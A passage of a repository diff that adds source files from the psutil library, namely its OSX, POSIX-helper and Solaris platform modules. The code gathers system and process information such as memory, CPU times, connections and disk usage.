# Pre-emptively check if CPUs are valid because the C
|
||||
# function has a weird behavior in case of invalid CPUs,
|
||||
# see: https://github.com/giampaolo/psutil/issues/586
|
||||
allcpus = tuple(range(len(per_cpu_times())))
|
||||
for cpu in cpus:
|
||||
if cpu not in allcpus:
|
||||
raise ValueError("invalid CPU #%i (choose between %s)"
|
||||
% (cpu, allcpus))
|
||||
try:
|
||||
cext.proc_cpu_affinity_set(self.pid, cpus)
|
||||
except OSError as err:
|
||||
# 'man cpuset_setaffinity' about EDEADLK:
|
||||
# <<the call would leave a thread without a valid CPU to run
|
||||
# on because the set does not overlap with the thread's
|
||||
# anonymous mask>>
|
||||
if err.errno in (errno.EINVAL, errno.EDEADLK):
|
||||
for cpu in cpus:
|
||||
if cpu not in allcpus:
|
||||
raise ValueError("invalid CPU #%i (choose between %s)"
|
||||
% (cpu, allcpus))
|
||||
raise
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,363 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""OSX platform implementation."""
|
||||
|
||||
import errno
|
||||
import functools
|
||||
import os
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_osx as cext
|
||||
from . import _psutil_posix as cext_posix
|
||||
from ._common import conn_tmap, usage_percent, isfile_strict
|
||||
from ._common import sockfam_to_enum, socktype_to_enum
|
||||
|
||||
|
||||
__extra__all__ = []
|
||||
|
||||
# --- constants
|
||||
|
||||
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
}
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
}
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle'])
|
||||
|
||||
svmem = namedtuple(
|
||||
'svmem', ['total', 'available', 'percent', 'used', 'free',
|
||||
'active', 'inactive', 'wired'])
|
||||
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins'])
|
||||
|
||||
pmmap_grouped = namedtuple(
|
||||
'pmmap_grouped',
|
||||
'path rss private swapped dirtied ref_count shadow_depth')
|
||||
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
|
||||
# --- functions
|
||||
|
||||
def virtual_memory():
|
||||
"""System virtual memory as a namedtuple."""
|
||||
total, active, inactive, wired, free = cext.virtual_mem()
|
||||
avail = inactive + free
|
||||
used = active + inactive + wired
|
||||
percent = usage_percent((total - avail), total, _round=1)
|
||||
return svmem(total, avail, percent, used, free,
|
||||
active, inactive, wired)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
|
||||
total, used, free, sin, sout = cext.swap_mem()
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent, sin, sout)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system CPU times as a namedtuple."""
|
||||
user, nice, system, idle = cext.cpu_times()
|
||||
return scputimes(user, nice, system, idle)
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system CPU times as a named tuple"""
|
||||
ret = []
|
||||
for cpu_t in cext.per_cpu_times():
|
||||
user, nice, system, idle = cpu_t
|
||||
item = scputimes(user, nice, system, idle)
|
||||
ret.append(item)
|
||||
return ret
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
return cext.cpu_count_logical()
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
if not os.path.isabs(device) or not os.path.exists(device):
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def users():
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp = item
|
||||
if tty == '~':
|
||||
continue # reboot or shutdown
|
||||
if not tstamp:
|
||||
continue
|
||||
nt = _common.suser(user, tty or None, hostname or None, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind='inet'):
|
||||
# Note: on OSX this will fail with AccessDenied unless
|
||||
# the process is owned by root.
|
||||
ret = []
|
||||
for pid in pids():
|
||||
try:
|
||||
cons = Process(pid).connections(kind)
|
||||
except NoSuchProcess:
|
||||
continue
|
||||
else:
|
||||
if cons:
|
||||
for c in cons:
|
||||
c = list(c) + [pid]
|
||||
ret.append(_common.sconn(*c))
|
||||
return ret
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
names = net_io_counters().keys()
|
||||
ret = {}
|
||||
for name in names:
|
||||
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
pids = cext.pids
|
||||
pid_exists = _psposix.pid_exists
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Decorator which translates bare OSError exceptions into
|
||||
NoSuchProcess and AccessDenied.
|
||||
"""
|
||||
@functools.wraps(fun)
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except OSError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
if err.errno == errno.ESRCH:
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
return cext.proc_name(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
return cext.proc_exe(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
return cext.proc_cmdline(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def ppid(self):
|
||||
return cext.proc_ppid(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def cwd(self):
|
||||
return cext.proc_cwd(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def uids(self):
|
||||
real, effective, saved = cext.proc_uids(self.pid)
|
||||
return _common.puids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def gids(self):
|
||||
real, effective, saved = cext.proc_gids(self.pid)
|
||||
return _common.pgids(real, effective, saved)
|
||||
|
||||
@wrap_exceptions
|
||||
def terminal(self):
|
||||
tty_nr = cext.proc_tty_nr(self.pid)
|
||||
tmap = _psposix._get_terminal_map()
|
||||
try:
|
||||
return tmap[tty_nr]
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info(self):
|
||||
rss, vms = cext.proc_memory_info(self.pid)[:2]
|
||||
return _common.pmem(rss, vms)
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_info_ex(self):
|
||||
rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid)
|
||||
return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE)
|
||||
|
||||
@wrap_exceptions
|
||||
def cpu_times(self):
|
||||
user, system = cext.proc_cpu_times(self.pid)
|
||||
return _common.pcputimes(user, system)
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_create_time(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def num_ctx_switches(self):
|
||||
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_num_threads(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def open_files(self):
|
||||
if self.pid == 0:
|
||||
return []
|
||||
files = []
|
||||
rawlist = cext.proc_open_files(self.pid)
|
||||
for path, fd in rawlist:
|
||||
if isfile_strict(path):
|
||||
ntuple = _common.popenfile(path, fd)
|
||||
files.append(ntuple)
|
||||
return files
|
||||
|
||||
@wrap_exceptions
|
||||
def connections(self, kind='inet'):
|
||||
if kind not in conn_tmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in conn_tmap])))
|
||||
families, types = conn_tmap[kind]
|
||||
rawlist = cext.proc_connections(self.pid, families, types)
|
||||
ret = []
|
||||
for item in rawlist:
|
||||
fd, fam, type, laddr, raddr, status = item
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type = socktype_to_enum(type)
|
||||
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
|
||||
ret.append(nt)
|
||||
return ret
|
||||
|
||||
@wrap_exceptions
|
||||
def num_fds(self):
|
||||
if self.pid == 0:
|
||||
return 0
|
||||
return cext.proc_num_fds(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def wait(self, timeout=None):
|
||||
try:
|
||||
return _psposix.wait_pid(self.pid, timeout)
|
||||
except _psposix.TimeoutExpired:
|
||||
# support for private module import
|
||||
if TimeoutExpired is None:
|
||||
raise
|
||||
raise TimeoutExpired(timeout, self.pid, self._name)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
return cext_posix.getpriority(self.pid)
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_set(self, value):
|
||||
return cext_posix.setpriority(self.pid, value)
|
||||
|
||||
@wrap_exceptions
|
||||
def status(self):
|
||||
code = cext.proc_status(self.pid)
|
||||
# XXX is '?' legit? (we're not supposed to return it anyway)
|
||||
return PROC_STATUSES.get(code, '?')
|
||||
|
||||
@wrap_exceptions
|
||||
def threads(self):
|
||||
rawlist = cext.proc_threads(self.pid)
|
||||
retlist = []
|
||||
for thread_id, utime, stime in rawlist:
|
||||
ntuple = _common.pthread(thread_id, utime, stime)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
@wrap_exceptions
|
||||
def memory_maps(self):
|
||||
return cext.proc_memory_maps(self.pid)
|
|
@ -0,0 +1,156 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Routines common to all posix systems."""
|
||||
|
||||
import errno
|
||||
import glob
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
|
||||
from ._common import sdiskusage, usage_percent, memoize
|
||||
from ._compat import PY3, unicode
|
||||
|
||||
|
||||
class TimeoutExpired(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def pid_exists(pid):
|
||||
"""Check whether pid exists in the current process table."""
|
||||
if pid == 0:
|
||||
# According to "man 2 kill" PID 0 has a special meaning:
|
||||
# it refers to <<every process in the process group of the
|
||||
# calling process>> so we don't want to go any further.
|
||||
# If we get here it means this UNIX platform *does* have
|
||||
# a process with id 0.
|
||||
return True
|
||||
try:
|
||||
os.kill(pid, 0)
|
||||
except OSError as err:
|
||||
if err.errno == errno.ESRCH:
|
||||
# ESRCH == No such process
|
||||
return False
|
||||
elif err.errno == errno.EPERM:
|
||||
# EPERM clearly means there's a process to deny access to
|
||||
return True
|
||||
else:
|
||||
# According to "man 2 kill" possible error values are
|
||||
# (EINVAL, EPERM, ESRCH) therefore we should never get
|
||||
# here. If we do let's be explicit in considering this
|
||||
# an error.
|
||||
raise err
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def wait_pid(pid, timeout=None):
|
||||
"""Wait for process with pid 'pid' to terminate and return its
|
||||
exit status code as an integer.
|
||||
|
||||
If pid is not a children of os.getpid() (current process) just
|
||||
waits until the process disappears and return None.
|
||||
|
||||
If pid does not exist at all return None immediately.
|
||||
|
||||
Raise TimeoutExpired on timeout expired.
|
||||
"""
|
||||
def check_timeout(delay):
|
||||
if timeout is not None:
|
||||
if timer() >= stop_at:
|
||||
raise TimeoutExpired()
|
||||
time.sleep(delay)
|
||||
return min(delay * 2, 0.04)
|
||||
|
||||
timer = getattr(time, 'monotonic', time.time)
|
||||
if timeout is not None:
|
||||
def waitcall():
|
||||
return os.waitpid(pid, os.WNOHANG)
|
||||
stop_at = timer() + timeout
|
||||
else:
|
||||
def waitcall():
|
||||
return os.waitpid(pid, 0)
|
||||
|
||||
delay = 0.0001
|
||||
while True:
|
||||
try:
|
||||
retpid, status = waitcall()
|
||||
except OSError as err:
|
||||
if err.errno == errno.EINTR:
|
||||
delay = check_timeout(delay)
|
||||
continue
|
||||
elif err.errno == errno.ECHILD:
|
||||
# This has two meanings:
|
||||
# - pid is not a child of os.getpid() in which case
|
||||
# we keep polling until it's gone
|
||||
# - pid never existed in the first place
|
||||
# In both cases we'll eventually return None as we
|
||||
# can't determine its exit status code.
|
||||
while True:
|
||||
if pid_exists(pid):
|
||||
delay = check_timeout(delay)
|
||||
else:
|
||||
return
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
if retpid == 0:
|
||||
# WNOHANG was used, pid is still running
|
||||
delay = check_timeout(delay)
|
||||
continue
|
||||
# process exited due to a signal; return the integer of
|
||||
# that signal
|
||||
if os.WIFSIGNALED(status):
|
||||
return os.WTERMSIG(status)
|
||||
# process exited using exit(2) system call; return the
|
||||
# integer exit(2) system call has been called with
|
||||
elif os.WIFEXITED(status):
|
||||
return os.WEXITSTATUS(status)
|
||||
else:
|
||||
# should never happen
|
||||
raise RuntimeError("unknown process exit status")
|
||||
|
||||
|
||||
def disk_usage(path):
|
||||
"""Return disk usage associated with path."""
|
||||
try:
|
||||
st = os.statvfs(path)
|
||||
except UnicodeEncodeError:
|
||||
if not PY3 and isinstance(path, unicode):
|
||||
# this is a bug with os.statvfs() and unicode on
|
||||
# Python 2, see:
|
||||
# - https://github.com/giampaolo/psutil/issues/416
|
||||
# - http://bugs.python.org/issue18695
|
||||
try:
|
||||
path = path.encode(sys.getfilesystemencoding())
|
||||
except UnicodeEncodeError:
|
||||
pass
|
||||
st = os.statvfs(path)
|
||||
else:
|
||||
raise
|
||||
free = (st.f_bavail * st.f_frsize)
|
||||
total = (st.f_blocks * st.f_frsize)
|
||||
used = (st.f_blocks - st.f_bfree) * st.f_frsize
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
# NB: the percentage is -5% than what shown by df due to
|
||||
# reserved blocks that we are currently not considering:
|
||||
# http://goo.gl/sWGbH
|
||||
return sdiskusage(total, used, free, percent)
|
||||
|
||||
|
||||
@memoize
|
||||
def _get_terminal_map():
|
||||
ret = {}
|
||||
ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*')
|
||||
for name in ls:
|
||||
assert name not in ret
|
||||
try:
|
||||
ret[os.stat(name).st_rdev] = name
|
||||
except OSError as err:
|
||||
if err.errno != errno.ENOENT:
|
||||
raise
|
||||
return ret
|
|
@ -0,0 +1,553 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
|
||||
# Use of this source code is governed by a BSD-style license that can be
|
||||
# found in the LICENSE file.
|
||||
|
||||
"""Sun OS Solaris platform implementation."""
|
||||
|
||||
import errno
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
from collections import namedtuple
|
||||
|
||||
from . import _common
|
||||
from . import _psposix
|
||||
from . import _psutil_posix as cext_posix
|
||||
from . import _psutil_sunos as cext
|
||||
from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum
|
||||
from ._common import usage_percent
|
||||
from ._compat import PY3
|
||||
|
||||
|
||||
__extra__all__ = ["CONN_IDLE", "CONN_BOUND"]
|
||||
|
||||
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
|
||||
AF_LINK = cext_posix.AF_LINK
|
||||
|
||||
CONN_IDLE = "IDLE"
|
||||
CONN_BOUND = "BOUND"
|
||||
|
||||
PROC_STATUSES = {
|
||||
cext.SSLEEP: _common.STATUS_SLEEPING,
|
||||
cext.SRUN: _common.STATUS_RUNNING,
|
||||
cext.SZOMB: _common.STATUS_ZOMBIE,
|
||||
cext.SSTOP: _common.STATUS_STOPPED,
|
||||
cext.SIDL: _common.STATUS_IDLE,
|
||||
cext.SONPROC: _common.STATUS_RUNNING, # same as run
|
||||
cext.SWAIT: _common.STATUS_WAITING,
|
||||
}
|
||||
|
||||
TCP_STATUSES = {
|
||||
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
|
||||
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
|
||||
cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV,
|
||||
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
|
||||
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
|
||||
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
|
||||
cext.TCPS_CLOSED: _common.CONN_CLOSE,
|
||||
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
|
||||
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
|
||||
cext.TCPS_LISTEN: _common.CONN_LISTEN,
|
||||
cext.TCPS_CLOSING: _common.CONN_CLOSING,
|
||||
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
|
||||
cext.TCPS_IDLE: CONN_IDLE, # sunos specific
|
||||
cext.TCPS_BOUND: CONN_BOUND, # sunos specific
|
||||
}
|
||||
|
||||
scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait'])
|
||||
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
|
||||
pextmem = namedtuple('pextmem', ['rss', 'vms'])
|
||||
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked'])
|
||||
pmmap_ext = namedtuple(
|
||||
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
|
||||
|
||||
# set later from __init__.py
|
||||
NoSuchProcess = None
|
||||
ZombieProcess = None
|
||||
AccessDenied = None
|
||||
TimeoutExpired = None
|
||||
|
||||
# --- functions
|
||||
|
||||
disk_io_counters = cext.disk_io_counters
|
||||
net_io_counters = cext.net_io_counters
|
||||
disk_usage = _psposix.disk_usage
|
||||
net_if_addrs = cext_posix.net_if_addrs
|
||||
|
||||
|
||||
def virtual_memory():
|
||||
# we could have done this with kstat, but imho this is good enough
|
||||
total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE
|
||||
# note: there's no difference on Solaris
|
||||
free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return svmem(total, avail, percent, used, free)
|
||||
|
||||
|
||||
def swap_memory():
|
||||
sin, sout = cext.swap_mem()
|
||||
# XXX
|
||||
# we are supposed to get total/free by doing so:
|
||||
# http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/
|
||||
# usr/src/cmd/swap/swap.c
|
||||
# ...nevertheless I can't manage to obtain the same numbers as 'swap'
|
||||
# cmdline utility, so let's parse its output (sigh!)
|
||||
p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' %
|
||||
os.environ['PATH'], 'swap', '-l', '-k'],
|
||||
stdout=subprocess.PIPE)
|
||||
stdout, stderr = p.communicate()
|
||||
if PY3:
|
||||
stdout = stdout.decode(sys.stdout.encoding)
|
||||
if p.returncode != 0:
|
||||
raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode)
|
||||
|
||||
lines = stdout.strip().split('\n')[1:]
|
||||
if not lines:
|
||||
raise RuntimeError('no swap device(s) configured')
|
||||
total = free = 0
|
||||
for line in lines:
|
||||
line = line.split()
|
||||
t, f = line[-2:]
|
||||
t = t.replace('K', '')
|
||||
f = f.replace('K', '')
|
||||
total += int(int(t) * 1024)
|
||||
free += int(int(f) * 1024)
|
||||
used = total - free
|
||||
percent = usage_percent(used, total, _round=1)
|
||||
return _common.sswap(total, used, free, percent,
|
||||
sin * PAGE_SIZE, sout * PAGE_SIZE)
|
||||
|
||||
|
||||
def pids():
|
||||
"""Returns a list of PIDs currently running on the system."""
|
||||
return [int(x) for x in os.listdir('/proc') if x.isdigit()]
|
||||
|
||||
|
||||
def pid_exists(pid):
|
||||
"""Check for the existence of a unix pid."""
|
||||
return _psposix.pid_exists(pid)
|
||||
|
||||
|
||||
def cpu_times():
|
||||
"""Return system-wide CPU times as a named tuple"""
|
||||
ret = cext.per_cpu_times()
|
||||
return scputimes(*[sum(x) for x in zip(*ret)])
|
||||
|
||||
|
||||
def per_cpu_times():
|
||||
"""Return system per-CPU times as a list of named tuples"""
|
||||
ret = cext.per_cpu_times()
|
||||
return [scputimes(*x) for x in ret]
|
||||
|
||||
|
||||
def cpu_count_logical():
|
||||
"""Return the number of logical CPUs in the system."""
|
||||
try:
|
||||
return os.sysconf("SC_NPROCESSORS_ONLN")
|
||||
except ValueError:
|
||||
# mimic os.cpu_count() behavior
|
||||
return None
|
||||
|
||||
|
||||
def cpu_count_physical():
|
||||
"""Return the number of physical CPUs in the system."""
|
||||
return cext.cpu_count_phys()
|
||||
|
||||
|
||||
def boot_time():
|
||||
"""The system boot time expressed in seconds since the epoch."""
|
||||
return cext.boot_time()
|
||||
|
||||
|
||||
def users():
|
||||
"""Return currently connected users as a list of namedtuples."""
|
||||
retlist = []
|
||||
rawlist = cext.users()
|
||||
localhost = (':0.0', ':0')
|
||||
for item in rawlist:
|
||||
user, tty, hostname, tstamp, user_process = item
|
||||
# note: the underlying C function includes entries about
|
||||
# system boot, run level and others. We might want
|
||||
# to use them in the future.
|
||||
if not user_process:
|
||||
continue
|
||||
if hostname in localhost:
|
||||
hostname = 'localhost'
|
||||
nt = _common.suser(user, tty, hostname, tstamp)
|
||||
retlist.append(nt)
|
||||
return retlist
|
||||
|
||||
|
||||
def disk_partitions(all=False):
|
||||
"""Return system disk partitions."""
|
||||
# TODO - the filtering logic should be better checked so that
|
||||
# it tries to reflect 'df' as much as possible
|
||||
retlist = []
|
||||
partitions = cext.disk_partitions()
|
||||
for partition in partitions:
|
||||
device, mountpoint, fstype, opts = partition
|
||||
if device == 'none':
|
||||
device = ''
|
||||
if not all:
|
||||
# Differently from, say, Linux, we don't have a list of
|
||||
# common fs types so the best we can do, AFAIK, is to
|
||||
# filter by filesystem having a total size > 0.
|
||||
if not disk_usage(mountpoint).total:
|
||||
continue
|
||||
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
|
||||
retlist.append(ntuple)
|
||||
return retlist
|
||||
|
||||
|
||||
def net_connections(kind, _pid=-1):
|
||||
"""Return socket connections. If pid == -1 return system-wide
|
||||
connections (as opposed to connections opened by one process only).
|
||||
Only INET sockets are returned (UNIX are not).
|
||||
"""
|
||||
cmap = _common.conn_tmap.copy()
|
||||
if _pid == -1:
|
||||
cmap.pop('unix', 0)
|
||||
if kind not in cmap:
|
||||
raise ValueError("invalid %r kind argument; choose between %s"
|
||||
% (kind, ', '.join([repr(x) for x in cmap])))
|
||||
families, types = _common.conn_tmap[kind]
|
||||
rawlist = cext.net_connections(_pid, families, types)
|
||||
ret = set()
|
||||
for item in rawlist:
|
||||
fd, fam, type_, laddr, raddr, status, pid = item
|
||||
if fam not in families:
|
||||
continue
|
||||
if type_ not in types:
|
||||
continue
|
||||
status = TCP_STATUSES[status]
|
||||
fam = sockfam_to_enum(fam)
|
||||
type_ = socktype_to_enum(type_)
|
||||
if _pid == -1:
|
||||
nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid)
|
||||
else:
|
||||
nt = _common.pconn(fd, fam, type_, laddr, raddr, status)
|
||||
ret.add(nt)
|
||||
return list(ret)
|
||||
|
||||
|
||||
def net_if_stats():
|
||||
"""Get NIC stats (isup, duplex, speed, mtu)."""
|
||||
ret = cext.net_if_stats()
|
||||
for name, items in ret.items():
|
||||
isup, duplex, speed, mtu = items
|
||||
if hasattr(_common, 'NicDuplex'):
|
||||
duplex = _common.NicDuplex(duplex)
|
||||
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
|
||||
return ret
|
||||
|
||||
|
||||
def wrap_exceptions(fun):
|
||||
"""Call callable into a try/except clause and translate ENOENT,
|
||||
EACCES and EPERM in NoSuchProcess or AccessDenied exceptions.
|
||||
"""
|
||||
def wrapper(self, *args, **kwargs):
|
||||
try:
|
||||
return fun(self, *args, **kwargs)
|
||||
except EnvironmentError as err:
|
||||
# support for private module import
|
||||
if (NoSuchProcess is None or AccessDenied is None or
|
||||
ZombieProcess is None):
|
||||
raise
|
||||
# ENOENT (no such file or directory) gets raised on open().
|
||||
# ESRCH (no such process) can get raised on read() if
|
||||
# process is gone in meantime.
|
||||
if err.errno in (errno.ENOENT, errno.ESRCH):
|
||||
if not pid_exists(self.pid):
|
||||
raise NoSuchProcess(self.pid, self._name)
|
||||
else:
|
||||
raise ZombieProcess(self.pid, self._name, self._ppid)
|
||||
if err.errno in (errno.EPERM, errno.EACCES):
|
||||
raise AccessDenied(self.pid, self._name)
|
||||
raise
|
||||
return wrapper
|
||||
|
||||
|
||||
class Process(object):
|
||||
"""Wrapper class around underlying C implementation."""
|
||||
|
||||
__slots__ = ["pid", "_name", "_ppid"]
|
||||
|
||||
def __init__(self, pid):
|
||||
self.pid = pid
|
||||
self._name = None
|
||||
self._ppid = None
|
||||
|
||||
@wrap_exceptions
|
||||
def name(self):
|
||||
# note: max len == 15
|
||||
return cext.proc_name_and_args(self.pid)[0]
|
||||
|
||||
@wrap_exceptions
|
||||
def exe(self):
|
||||
# Will be guess later from cmdline but we want to explicitly
|
||||
# invoke cmdline here in order to get an AccessDenied
|
||||
# exception if the user has not enough privileges.
|
||||
self.cmdline()
|
||||
return ""
|
||||
|
||||
@wrap_exceptions
|
||||
def cmdline(self):
|
||||
return cext.proc_name_and_args(self.pid)[1].split(' ')
|
||||
|
||||
@wrap_exceptions
|
||||
def create_time(self):
|
||||
return cext.proc_basic_info(self.pid)[3]
|
||||
|
||||
@wrap_exceptions
|
||||
def num_threads(self):
|
||||
return cext.proc_basic_info(self.pid)[5]
|
||||
|
||||
@wrap_exceptions
|
||||
def nice_get(self):
|
||||
# For some reason getpriority(3) return ESRCH (no such process)
|
||||
# for certain low-pid processes, no matter what (even as root).
|
||||
# The process actually exists though, as it has a name,
|
||||
# creation time, etc.
|
||||
# The best thing we can do here appears to be raising AD.
|
||||
# Note: tested on Solaris 11; on Open Solaris 5 everything is
|
||||
# fine.
|
||||
try:
|
||||
return cext_posix.getpriority(self.pid)
|
||||
except EnvironmentError as err:
|
||||
# 48 is 'operation not supported' but errno does not expose
|
||||
# it. It occurs for low system pids.
|
||||
if err.errno in (errno.ENOENT, errno.ESRCH, 48):
|
||||
if pid_exists(self.pid):
|
||||
raise AccessDenied(self.pid, self._name)
